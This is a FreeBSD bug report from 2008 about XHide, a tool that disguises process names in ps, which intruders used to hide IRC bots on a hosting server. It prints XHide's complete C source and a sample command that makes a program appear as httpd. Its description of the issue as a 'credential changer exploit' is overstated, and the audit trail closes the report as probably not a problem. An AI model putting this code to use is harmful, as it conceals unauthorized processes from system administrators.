From nobody@FreeBSD.org  Tue Mar  4 22:37:32 2008
Return-Path: <nobody@FreeBSD.org>
Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34])
	by hub.freebsd.org (Postfix) with ESMTP id 2C6A41065682
	for <freebsd-gnats-submit@FreeBSD.org>; Tue,  4 Mar 2008 22:37:32 +0000 (UTC)
	(envelope-from nobody@FreeBSD.org)
Received: from www.freebsd.org (www.freebsd.org [IPv6:2001:4f8:fff6::21])
	by mx1.freebsd.org (Postfix) with ESMTP id 1E2978FC1D
	for <freebsd-gnats-submit@FreeBSD.org>; Tue,  4 Mar 2008 22:37:32 +0000 (UTC)
	(envelope-from nobody@FreeBSD.org)
Received: from www.freebsd.org (localhost [127.0.0.1])
	by www.freebsd.org (8.14.2/8.14.2) with ESMTP id m24MYVXb042493
	for <freebsd-gnats-submit@FreeBSD.org>; Tue, 4 Mar 2008 22:34:31 GMT
	(envelope-from nobody@www.freebsd.org)
Received: (from nobody@localhost)
	by www.freebsd.org (8.14.2/8.14.1/Submit) id m24MYVqQ042492;
	Tue, 4 Mar 2008 22:34:31 GMT
	(envelope-from nobody)
Message-Id: <200803042234.m24MYVqQ042492@www.freebsd.org>
Date: Tue, 4 Mar 2008 22:34:31 GMT
From: Ryan <Admin@The-IRC.Org>
To: freebsd-gnats-submit@FreeBSD.org
Subject: execv undesired use to change a processes credentials (cmd line)
X-Send-Pr-Version: www-3.1
X-GNATS-Notify:

>Number:         121371
>Category:       kern
>Synopsis:       execv undesired use to change a processes credentials (cmd line)
>Confidential:   no
>Severity:       serious
>Priority:       high
>Responsible:    secteam
>State:          closed
>Quarter:        
>Keywords:       
>Date-Required:  
>Class:          sw-bug
>Submitter-Id:   current-users
>Arrival-Date:   Tue Mar 04 22:40:01 UTC 2008
>Closed-Date:    Tue Sep 21 17:08:03 UTC 2010
>Last-Modified:  Tue Sep 21 17:08:03 UTC 2010
>Originator:     Ryan
>Release:        6.3
>Organization:
The-IRC Hosting
>Environment:
FreeBSD Eden.The-IRC.Org 6.3-RELEASE FreeBSD 6.3-RELEASE #2: Tue Feb 12 10:53:21 CST 2008     root@Eden.The-IRC.Org:/usr/obj/usr/src/sys/THE-IRC  i386
>Description:
Any user with the use of a cleverly created program, abuse execv lib function and change the process command line in ps from XX to YY.

We have done extensive research regarding this issue since January and are very aware allot of people are also aware of this problem on a wide range of *nix and BSD systems, however there has yet to be any solutions from FreeBSD to correct this process credential changer exploit.

We have come across user accounts from time to time, with hidden folder with either a bnc or eggdrop that was launched via X-Hide and the processes had the process credentials like the following examples.

XUser    26588  p3- S      1:06.64   /usr/local/apache/bin/httpd
YUSER    33459  p6- S      0:37.29   /usr/sbin/ntpd


I've obtained the source code for thie X-Hide program from a crackers website that we found from a users shell history.


#include <stdio.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <string.h>
#include <fcntl.h>
#include <pwd.h>
#include <grp.h>

void usage(char *progname);

int changeown (char *str)

{

char user[256], *group;
struct passwd *pwd;
struct group *grp;

uid_t uid;
gid_t gid;

 

  memset(user, '\0', sizeof(user));
  strncpy(user, str, sizeof(user));

 

  for (group = user; *group; group++)

       if (*group == ':')

       {

                   *group = '\0';
                   group++;
                   break;

       }

                

  if (pwd = getpwnam(user)) 

  {

                uid = pwd->pw_uid;
                gid = pwd->pw_gid;

  } else uid = (uid_t) atoi(user);

 

  if (*group)

                if (grp = getgrnam(group)) gid = grp->gr_gid;
                else gid = (gid_t) atoi(group);

 

  if (setgid(gid)) {

                perror("Error: Can't set GID");
                return 0;

  }

 

  if (setuid(uid))

  {

                perror("Error: Can't set UID");
                return 0;

  }

 

  return 1;

 

}

 

char *fullpath(char *cmd)

{

                char *p, *q, *filename;
                struct stat st;

 

                if (*cmd == '/')

                                return cmd;

 

                filename = (char *) malloc(256);

                if  (*cmd == '.')

                                if (getcwd(filename, 255) != NULL)

                                {

                                                strcat(filename, "/");
                                                strcat(filename, cmd);
                                                return filename;

                                }

                                else

                                                return NULL;

 

                for (p = q = (char *) getenv("PATH"); q != NULL; p = ++q)

                {

                                if (q = (char *) strchr(q, ':'))
                                                *q = (char) '\0';

 

                                snprintf(filename, 256, "%s/%s", p, cmd);


                                if (stat(filename, &st) != -1
                                    && S_ISREG(st.st_mode)
                                    && (st.st_mode&S_IXUSR || st.st_mode&S_IXGRP || st.st_mode&S_IXOTH))

                                                return filename;

 

                                if (q == NULL)

                                                break;

                }

 

                free(filename);

                return NULL;

}

void
usage(char *progname)

{

    fprintf(stderr, "XHide - Process Faker, by Schizoprenic "
                    "Xnuxer Research (c) 2002\n\nOptions:\n"

                    "-s string\tFake name process\n"
                    "-d\t\tRun aplication as daemon/system (optional)\n" 
                    "-u uid[:gid]\tChange UID/GID, use another user (optional)\n" 
                    "-p filename\tSave PID to filename (optional)\n\n"

                    "Example: %s -s \"klogd -m 0\" -d -p test.pid ./egg bot.conf\n\n",progname);

    exit(1);

}

 

 

int main(int argc,char **argv)

{

char c;
char fake[256];
char *progname, *fakename;
char *pidfile, *fp;
char *execst;

FILE *f;

int runsys=0, null;
int j,i,n,pidnum;
char **newargv;

 

  progname = argv[0];
  if(argc<2) usage(progname);

 

  for (i = 1; i < argc; i++)

  {

     if (argv[i][0] == '-')

                switch (c = argv[i][1])

                {

                case 's': fakename = argv[++i]; break;
        case 'u': changeown(argv[++i]); break; 
                case 'p': pidfile = argv[++i]; break;
        case 'd': runsys = 1; break;

                default:  usage(progname); break;

     }

     else break;

  }

 

  if (!(n = argc - i) || fakename == NULL) usage(progname);

 

  newargv = (char **) malloc(n * sizeof(char **) + 1);
  for (j = 0; j < n; i++,j++) newargv[j] = argv[i];
  newargv[j] = NULL;

 

  if ((fp = fullpath(newargv[0])) == NULL) { perror("Full path seek"); exit(1); }
  execst = fp;

  if (n > 1)

  {

                memset(fake, ' ', sizeof(fake) - 1);
                fake[sizeof(fake) - 1] = '\0';
                strncpy(fake, fakename, strlen(fakename));
                newargv[0] = fake;

  }

  else newargv[0] = fakename;


  if (runsys) 

  {

                if ((null = open("/dev/null", O_RDWR)) == -1)

                {

                                perror("Error: /dev/null");
                                return -1;

                }

 

                switch (fork())

                {

                                case -1:

                                                perror("Error: FORK-1");
                                                return -1;

                                case  0:

                                                setsid();
                                                switch (fork())

                {

                                case -1:

                                                perror("Error: FORK-2");
                                                return -1;

                                case  0:

                                                umask(0);
                                                close(0);
                                                close(1);
                                                close(2);
                                                dup2(null, 0);
                                                dup2(null, 1);
                                                dup2(null, 2);

                                                break;

                                default:

                                                return 0;

                }

                                break;
                                default:
                                return 0;

                }

  }

 

  waitpid(-1, (int *)0, 0);       

  pidnum = getpid();

 

  if (pidfile != NULL && (f = fopen(pidfile, "w")) != NULL)

  {

     fprintf(f, "%d\n", pidnum);
     fclose(f);

  }

 

  fprintf(stderr,"==> Fakename: %s PidNum: %d\n",fakename,pidnum); 
  execv(execst, newargv);
  perror("Couldn't execute");
  return -1;

}
>How-To-Repeat:
./xhidebinaryhere -s "/usr/local/apache/bin/httpd -DSSL" ./realprogramhere
>Fix:


>Release-Note:
>Audit-Trail:
Responsible-Changed-From-To: freebsd-i386->secteam 
Responsible-Changed-By: remko 
Responsible-Changed-When: Wed Mar 5 07:48:45 UTC 2008 
Responsible-Changed-Why:  
I am  not sure whether we should look into this, but lets see what we can do from Secteam point of view. 

http://www.freebsd.org/cgi/query-pr.cgi?pr=121371 

From: "The-IRC Hosting Administration Team" <Admin@The-Irc.Org>
To: <bug-followup@FreeBSD.org>
Cc:  
Subject: Re: i386/121371: execv undesired use to change a processes credentials (cmd line)
Date: Mon, 10 Mar 2008 12:00:38 -0400

 Doesn't someone have any input for this huge security risk?
 
State-Changed-From-To: open->closed 
State-Changed-By: csjp 
State-Changed-When: Tue Sep 21 17:05:38 UTC 2010 
State-Changed-Why:  
It looks like if uap->fname is not the same as argv[0], ps will 
report the suffix the line with the basename of the filename 
(first argument for the exec syscall) so I am not sure why 
this is a problem. 

http://www.freebsd.org/cgi/query-pr.cgi?pr=121371 
>Unformatted:
